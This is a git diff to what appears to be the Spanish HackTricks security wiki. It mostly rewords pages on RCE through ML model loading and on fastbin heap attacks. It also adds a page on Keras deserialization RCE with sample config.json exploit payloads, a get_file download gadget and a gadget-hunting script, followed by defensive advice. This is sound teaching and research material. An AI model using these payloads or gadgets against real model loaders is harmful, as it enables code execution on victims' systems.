diff --git a/src/AI/AI-Models-RCE.md b/src/AI/AI-Models-RCE.md index 06ac78095..eaa1aa0ab 100644 --- a/src/AI/AI-Models-RCE.md +++ b/src/AI/AI-Models-RCE.md @@ -4,7 +4,7 @@ ## Cargando modelos a RCE -Los modelos de Machine Learning generalmente se comparten en diferentes formatos, como ONNX, TensorFlow, PyTorch, etc. Estos modelos pueden ser cargados en las máquinas de los desarrolladores o en sistemas de producción para ser utilizados. Por lo general, los modelos no deberían contener código malicioso, pero hay algunos casos en los que el modelo puede ser utilizado para ejecutar código arbitrario en el sistema como una característica prevista o debido a una vulnerabilidad en la biblioteca de carga de modelos. +Los modelos de Machine Learning generalmente se comparten en diferentes formatos, como ONNX, TensorFlow, PyTorch, etc. Estos modelos pueden ser cargados en las máquinas de los desarrolladores o en sistemas de producción para ser utilizados. Por lo general, los modelos no deberían contener código malicioso, pero hay algunos casos en los que el modelo puede ser utilizado para ejecutar código arbitrario en el sistema como una característica prevista o debido a una vulnerabilidad en la biblioteca de carga del modelo. En el momento de la redacción, estos son algunos ejemplos de este tipo de vulnerabilidades: @@ -20,8 +20,8 @@ En el momento de la redacción, estos son algunos ejemplos de este tipo de vulne | ONNX Runtime (riesgo de diseño) | *(Sin CVE)* operaciones personalizadas de ONNX / flujo de control | Modelo con operador personalizado requiere cargar el código nativo del atacante; gráficos de modelo complejos abusan de la lógica para ejecutar cálculos no intencionados | | | **NVIDIA Triton Server** | **CVE-2023-31036** (traversal de ruta) | Usar la API de carga de modelos con `--model-control` habilitado permite traversal de ruta relativa para escribir archivos (por ejemplo, sobrescribir `.bashrc` para RCE) | | | **GGML (formato GGUF)** | **CVE-2024-25664 … 25668** (múltiples desbordamientos de heap) | Archivo de modelo GGUF malformado causa desbordamientos de buffer en el parser, habilitando la ejecución de código arbitrario en el sistema víctima | | -| **Keras (formatos antiguos)** | *(Sin nuevo CVE)* Modelo Keras H5 legado | Modelo HDF5 malicioso (`.h5`) con código de capa Lambda aún se ejecuta al cargar (el modo seguro de Keras no cubre el formato antiguo – “ataque de degradación”) | | -| **Otros** (general) | *Falla de diseño* – serialización de Pickle | Muchas herramientas de ML (por ejemplo, formatos de modelo basados en pickle, `pickle.load` de Python) ejecutarán código arbitrario incrustado en archivos de modelo a menos que se mitigue | | +| **Keras (formatos antiguos)** | *(Sin nuevo CVE)* Modelo Keras H5 legado | Modelo HDF5 malicioso (`.h5`) con código de capa Lambda aún se ejecuta al cargar (Keras safe_mode no cubre el formato antiguo – “ataque de degradación”) | | +| **Otros** (general) | *Falla de diseño* – Serialización de Pickle | Muchas herramientas de ML (por ejemplo, formatos de modelo basados en pickle, `pickle.load` de Python) ejecutarán código arbitrario incrustado en archivos de modelo a menos que se mitigue | | Además, hay algunos modelos basados en pickle de Python, como los utilizados por [PyTorch](https://github.com/pytorch/pytorch/security), que pueden ser utilizados para ejecutar código arbitrario en el sistema si no se cargan con `weights_only=True`. Por lo tanto, cualquier modelo basado en pickle podría ser especialmente susceptible a este tipo de ataques, incluso si no están listados en la tabla anterior. @@ -69,7 +69,7 @@ timeout=5, ``` 4. Cuando InvokeAI descarga el archivo, llama a `torch.load()` → el gadget `os.system` se ejecuta y el atacante obtiene ejecución de código en el contexto del proceso InvokeAI. -Explotación lista para usar: **Módulo Metasploit** `exploit/linux/http/invokeai_rce_cve_2024_12029` automatiza todo el flujo. +Explotación lista para usar: **Metasploit** módulo `exploit/linux/http/invokeai_rce_cve_2024_12029` automatiza todo el flujo. #### Condiciones @@ -87,7 +87,7 @@ Explotación lista para usar: **Módulo Metasploit** `exploit/linux/http/invokea --- -Ejemplo de una mitigación ad-hoc si debes mantener versiones más antiguas de InvokeAI ejecutándose detrás de un proxy inverso: +Ejemplo de una mitigación ad-hoc si debes mantener versiones más antiguas de InvokeAI funcionando detrás de un proxy inverso: ```nginx location /api/v2/models/install { deny all; # block direct Internet access @@ -161,11 +161,19 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf: tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it) tf.add(PAYLOAD) # rides the symlink ``` +### Profundización: deserialización de Keras .keras y búsqueda de gadgets + +Para una guía enfocada en los internos de .keras, RCE de Lambda-layer, el problema de importación arbitraria en ≤ 3.8, y el descubrimiento de gadgets post-fix dentro de la lista permitida, consulte: + +{{#ref}} +../generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md +{{#endref}} + ## Referencias -- [OffSec blog – "CVE-2024-12029 – InvokeAI Deserialization of Untrusted Data"](https://www.offsec.com/blog/cve-2024-12029/) -- [InvokeAI patch commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e) -- [Rapid7 Metasploit module documentation](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/) -- [PyTorch – security considerations for torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security) +- [OffSec blog – "CVE-2024-12029 – Deserialización de datos no confiables en InvokeAI"](https://www.offsec.com/blog/cve-2024-12029/) +- [Compromiso de parche de InvokeAI 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e) +- [Documentación del módulo Metasploit de Rapid7](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/) +- [PyTorch – consideraciones de seguridad para torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security) {{#include ../banners/hacktricks-training.md}} diff --git a/src/SUMMARY.md b/src/SUMMARY.md index e7e49e187..781ca1ac5 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -69,6 +69,7 @@ - [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md) - [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md) - [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md) + - [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md) - [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md) - [Pyscript](generic-methodologies-and-resources/python/pyscript.md) - [venv](generic-methodologies-and-resources/python/venv.md) diff --git a/src/binary-exploitation/libc-heap/fast-bin-attack.md b/src/binary-exploitation/libc-heap/fast-bin-attack.md index a67a017b2..4da6f28dd 100644 --- a/src/binary-exploitation/libc-heap/fast-bin-attack.md +++ b/src/binary-exploitation/libc-heap/fast-bin-attack.md @@ -129,15 +129,15 @@ printf("\n\nJust like that, we executed a fastbin attack to allocate an address Finalmente, se escribió un **one gadget** allí. - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:** - Hay un desbordamiento de heap y uso después de liberar y doble liberación porque cuando un chunk se libera es posible reutilizar y volver a liberar los punteros. -- **Libc info leak**: Simplemente libera algunos chunks y obtendrán un puntero a una parte de la ubicación de la arena principal. Como puedes reutilizar punteros liberados, solo lee esta dirección. -- **Fast bin attack**: Todos los punteros a las asignaciones se almacenan dentro de un array, por lo que podemos liberar un par de chunks de fast bin y en el último sobrescribir la dirección para que apunte un poco antes de este array de punteros. Luego, asigna un par de chunks con el mismo tamaño y primero obtendremos el legítimo y luego el falso que contiene el array de punteros. Ahora podemos sobrescribir estos punteros de asignación para hacer que la dirección GOT de `free` apunte a `system` y luego escribir `"/bin/sh"` en el chunk 1 para luego llamar a `free(chunk1)` que en su lugar ejecutará `system("/bin/sh")`. +- **Libc info leak**: Simplemente libera algunos chunks y obtendrán un puntero a una parte de la ubicación de la arena principal. Como puedes reutilizar punteros liberados, simplemente lee esta dirección. +- **Fast bin attack**: Todos los punteros a las asignaciones se almacenan dentro de un array, por lo que podemos liberar un par de chunks de fast bin y en el último sobrescribir la dirección para que apunte un poco antes de este array de punteros. Luego, asigna un par de chunks del mismo tamaño y obtendremos primero el legítimo y luego el falso que contiene el array de punteros. Ahora podemos sobrescribir estos punteros de asignación para hacer que la dirección GOT de `free` apunte a `system` y luego escribir `"/bin/sh"` en el chunk 1 para luego llamar a `free(chunk1)` que en su lugar ejecutará `system("/bin/sh")`. - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) - Otro ejemplo de abusar de un desbordamiento de un byte para consolidar chunks en el unsorted bin y obtener un libc infoleak y luego realizar un ataque de fast bin para sobrescribir malloc hook con una dirección de one gadget. - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) -- Después de un infoleak abusando del unsorted bin con un UAF para filtrar una dirección de libc y una dirección de PIE, el exploit de este CTF utilizó un ataque de fast bin para asignar un chunk en un lugar donde se encontraban los punteros a chunks controlados, por lo que fue posible sobrescribir ciertos punteros para escribir un one gadget en la GOT. +- Después de un infoleak abusando del unsorted bin con un UAF para filtrar una dirección de libc y una dirección de PIE, el exploit de este CTF utilizó un ataque de fast bin para asignar un chunk en un lugar donde se encontraban los punteros a los chunks controlados, por lo que fue posible sobrescribir ciertos punteros para escribir un one gadget en la GOT. - Puedes encontrar un ataque de Fast Bin abusado a través de un ataque de unsorted bin: - Ten en cuenta que es común antes de realizar ataques de fast bin abusar de las listas de liberación para filtrar direcciones de libc/heap (cuando sea necesario). - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) - Solo podemos asignar chunks de tamaño mayor que `0x100`. - Sobrescribir `global_max_fast` usando un ataque de Unsorted Bin (funciona 1/16 veces debido a ASLR, porque necesitamos modificar 12 bits, pero debemos modificar 16 bits). -- Ataque de Fast Bin para modificar un array global de chunks. Esto proporciona una primitiva de lectura/escritura arbitraria, que permite modificar la GOT y hacer que algunas funciones apunten a `system`. +- Ataque de Fast Bin para modificar un array global de chunks. Esto proporciona una primitiva de lectura/escritura arbitraria, que permite modificar la GOT y establecer algunas funciones para que apunten a `system`. diff --git a/src/generic-methodologies-and-resources/python/README.md b/src/generic-methodologies-and-resources/python/README.md index 8fe5df684..fd3f5c361 100644 --- a/src/generic-methodologies-and-resources/python/README.md +++ b/src/generic-methodologies-and-resources/python/README.md @@ -2,12 +2,12 @@ {{#include ../../banners/hacktricks-training.md}} - **Páginas interesantes para revisar:** - [**Trucos de hacking de Pyscript**](pyscript.md) -- [**Deserializaciones de Python**](../../pentesting-web/deserialization/index.html#python) -- [**Trucos para eludir sandboxes de Python**](bypass-python-sandboxes/index.html) +- [**Deserializaciones de Python**](../../pentesting-web/deserialization/README.md) +- [**Deserialización de modelo Keras RCE y búsqueda de gadgets**](keras-model-deserialization-rce-and-gadget-hunting.md) +- [**Trucos para eludir sandboxes de Python**](bypass-python-sandboxes/README.md) - [**Sintaxis básica de solicitudes web en Python**](web-requests.md) - [**Sintaxis y bibliotecas básicas de Python**](basic-python.md) diff --git a/src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md b/src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md new file mode 100644 index 000000000..18206ff98 --- /dev/null +++ b/src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md @@ -0,0 +1,207 @@ +# Keras Model Deserialization RCE and Gadget Hunting + +{{#include ../../banners/hacktricks-training.md}} + +Esta página resume técnicas de explotación prácticas contra el pipeline de deserialización de modelos Keras, explica los detalles internos del formato .keras y la superficie de ataque, y proporciona un conjunto de herramientas para investigadores para encontrar Vulnerabilidades en Archivos de Modelo (MFVs) y gadgets post-fix. + +## Detalles internos del formato .keras + +Un archivo .keras es un archivo ZIP que contiene al menos: +- metadata.json – información genérica (por ejemplo, versión de Keras) +- config.json – arquitectura del modelo (superficie de ataque principal) +- model.weights.h5 – pesos en HDF5 + +El config.json impulsa la deserialización recursiva: Keras importa módulos, resuelve clases/funciones y reconstruye capas/objetos a partir de diccionarios controlados por el atacante. + +Ejemplo de fragmento para un objeto de capa Dense: +```json +{ +"module": "keras.layers", +"class_name": "Dense", +"config": { +"units": 64, +"activation": { +"module": "keras.activations", +"class_name": "relu" +}, +"kernel_initializer": { +"module": "keras.initializers", +"class_name": "GlorotUniform" +} +} +} +``` +Deserialización realiza: +- Importación de módulos y resolución de símbolos a partir de claves module/class_name +- invocación de from_config(...) o del constructor con kwargs controlados por el atacante +- Recursión en objetos anidados (activaciones, inicializadores, restricciones, etc.) + +Históricamente, esto expuso tres primitivas a un atacante que crea config.json: +- Control de qué módulos se importan +- Control de qué clases/funciones se resuelven +- Control de kwargs pasados a constructores/from_config + +## CVE-2024-3660 – RCE de bytecode de capa Lambda + +Causa raíz: +- Lambda.from_config() utilizó python_utils.func_load(...) que decodifica en base64 y llama a marshal.loads() en bytes del atacante; la deserialización de Python puede ejecutar código. + +Idea de explotación (payload simplificado en config.json): +```json +{ +"module": "keras.layers", +"class_name": "Lambda", +"config": { +"name": "exploit_lambda", +"function": { +"function_type": "lambda", +"bytecode_b64": "" +} +} +} +``` +Mitigación: +- Keras aplica safe_mode=True por defecto. Las funciones de Python serializadas en Lambda están bloqueadas a menos que un usuario opte explícitamente por desactivarlo con safe_mode=False. + +Notas: +- Los formatos heredados (guardados en HDF5 más antiguos) o bases de código más antiguas pueden no aplicar verificaciones modernas, por lo que los ataques de estilo "downgrade" aún pueden aplicarse cuando las víctimas utilizan cargadores más antiguos. + +## CVE-2025-1550 – Importación arbitraria de módulos en Keras ≤ 3.8 + +Causa raíz: +- _retrieve_class_or_fn utilizó importlib.import_module() sin restricciones con cadenas de módulo controladas por el atacante desde config.json. +- Impacto: Importación arbitraria de cualquier módulo instalado (o módulo plantado por el atacante en sys.path). El código se ejecuta en el momento de la importación, luego se produce la construcción del objeto con kwargs del atacante. + +Idea de explotación: +```json +{ +"module": "maliciouspkg", +"class_name": "Danger", +"config": {"arg": "val"} +} +``` +Mejoras de seguridad (Keras ≥ 3.9): +- Lista blanca de módulos: importaciones restringidas a módulos del ecosistema oficial: keras, keras_hub, keras_cv, keras_nlp +- Modo seguro por defecto: safe_mode=True bloquea la carga de funciones serializadas de Lambda no seguras +- Comprobación de tipos básica: los objetos deserializados deben coincidir con los tipos esperados + +## Superficie de gadgets post-arreglo dentro de la lista blanca + +Incluso con la lista blanca y el modo seguro, permanece una amplia superficie entre los llamados permitidos de Keras. Por ejemplo, keras.utils.get_file puede descargar URLs arbitrarias a ubicaciones seleccionables por el usuario. + +Gadget a través de Lambda que hace referencia a una función permitida (no código byte de Python serializado): +```json +{ +"module": "keras.layers", +"class_name": "Lambda", +"config": { +"name": "dl", +"function": {"module": "keras.utils", "class_name": "get_file"}, +"arguments": { +"fname": "artifact.bin", +"origin": "https://example.com/artifact.bin", +"cache_dir": "/tmp/keras-cache" +} +} +} +``` +Limitación importante: +- Lambda.call() antepone el tensor de entrada como el primer argumento posicional al invocar el callable objetivo. Los gadgets elegidos deben tolerar un argumento posicional extra (o aceptar *args/**kwargs). Esto limita qué funciones son viables. + +Impactos potenciales de los gadgets permitidos: +- Descarga/escritura arbitraria (plantación de rutas, envenenamiento de configuración) +- Llamadas de red/efectos similares a SSRF dependiendo del entorno +- Encadenamiento a la ejecución de código si las rutas escritas son importadas/ejecutadas más tarde o añadidas a PYTHONPATH, o si existe una ubicación de ejecución-escritura escribible + +## Kit de herramientas del investigador + +1) Descubrimiento sistemático de gadgets en módulos permitidos + +Enumerar los callables candidatos en keras, keras_nlp, keras_cv, keras_hub y priorizar aquellos con efectos secundarios de archivo/red/proceso/entorno. +```python +import importlib, inspect, pkgutil + +ALLOWLIST = ["keras", "keras_nlp", "keras_cv", "keras_hub"] + +seen = set() + +def iter_modules(mod): +if not hasattr(mod, "__path__"): +return +for m in pkgutil.walk_packages(mod.__path__, mod.__name__ + "."): +yield m.name + +candidates = [] +for root in ALLOWLIST: +try: +r = importlib.import_module(root) +except Exception: +continue +for name in iter_modules(r): +if name in seen: +continue +seen.add(name) +try: +m = importlib.import_module(name) +except Exception: +continue +for n, obj in inspect.getmembers(m): +if inspect.isfunction(obj) or inspect.isclass(obj): +sig = None +try: +sig = str(inspect.signature(obj)) +except Exception: +pass +doc = (inspect.getdoc(obj) or "").lower() +text = f"{name}.{n} {sig} :: {doc}" +# Heuristics: look for I/O or network-ish hints +if any(x in doc for x in ["download", "file", "path", "open", "url", "http", "socket", "env", "process", "spawn", "exec"]): +candidates.append(text) + +print("\n".join(sorted(candidates)[:200])) +``` +2) Pruebas de deserialización directa (no se necesita archivo .keras) + +Alimente diccionarios elaborados directamente en los deserializadores de Keras para conocer los parámetros aceptados y observar los efectos secundarios. +```python +from keras import layers + +cfg = { +"module": "keras.layers", +"class_name": "Lambda", +"config": { +"name": "probe", +"function": {"module": "keras.utils", "class_name": "get_file"}, +"arguments": {"fname": "x", "origin": "https://example.com/x"} +} +} + +layer = layers.deserialize(cfg, safe_mode=True) # Observe behavior +``` +3) Sondeo y formatos entre versiones + +Keras existe en múltiples bases de código/épocas con diferentes salvaguardias y formatos: +- Keras integrado en TensorFlow: tensorflow/python/keras (legado, programado para eliminación) +- tf-keras: mantenido por separado +- Keras 3 de múltiples backends (oficial): introdujo .keras nativo + +Repita pruebas a través de bases de código y formatos (.keras vs HDF5 legado) para descubrir regresiones o salvaguardias faltantes. + +## Recomendaciones defensivas + +- Trate los archivos de modelo como entrada no confiable. Cargue modelos solo de fuentes confiables. +- Mantenga Keras actualizado; use Keras ≥ 3.9 para beneficiarse de la lista blanca y las verificaciones de tipo. +- No establezca safe_mode=False al cargar modelos a menos que confíe completamente en el archivo. +- Considere ejecutar la deserialización en un entorno aislado, con privilegios mínimos, sin salida de red y con acceso restringido al sistema de archivos. +- Haga cumplir listas blancas/firmas para fuentes de modelos y verificación de integridad cuando sea posible. + +## Referencias + +- [Hunting Vulnerabilities in Keras Model Deserialization (huntr blog)](https://blog.huntr.com/hunting-vulnerabilities-in-keras-model-deserialization) +- [Keras PR #20751 – Added checks to serialization](https://github.com/keras-team/keras/pull/20751) +- [CVE-2024-3660 – Keras Lambda deserialization RCE](https://nvd.nist.gov/vuln/detail/CVE-2024-3660) +- [CVE-2025-1550 – Keras arbitrary module import (≤ 3.8)](https://nvd.nist.gov/vuln/detail/CVE-2025-1550) +- [huntr report – arbitrary import #1](https://huntr.com/bounties/135d5dcd-f05f-439f-8d8f-b21fdf171f3e) +- [huntr report – arbitrary import #2](https://huntr.com/bounties/6fcca09c-8c98-4bc5-b32c-e883ab3e4ae3) + +{{#include ../../banners/hacktricks-training.md}}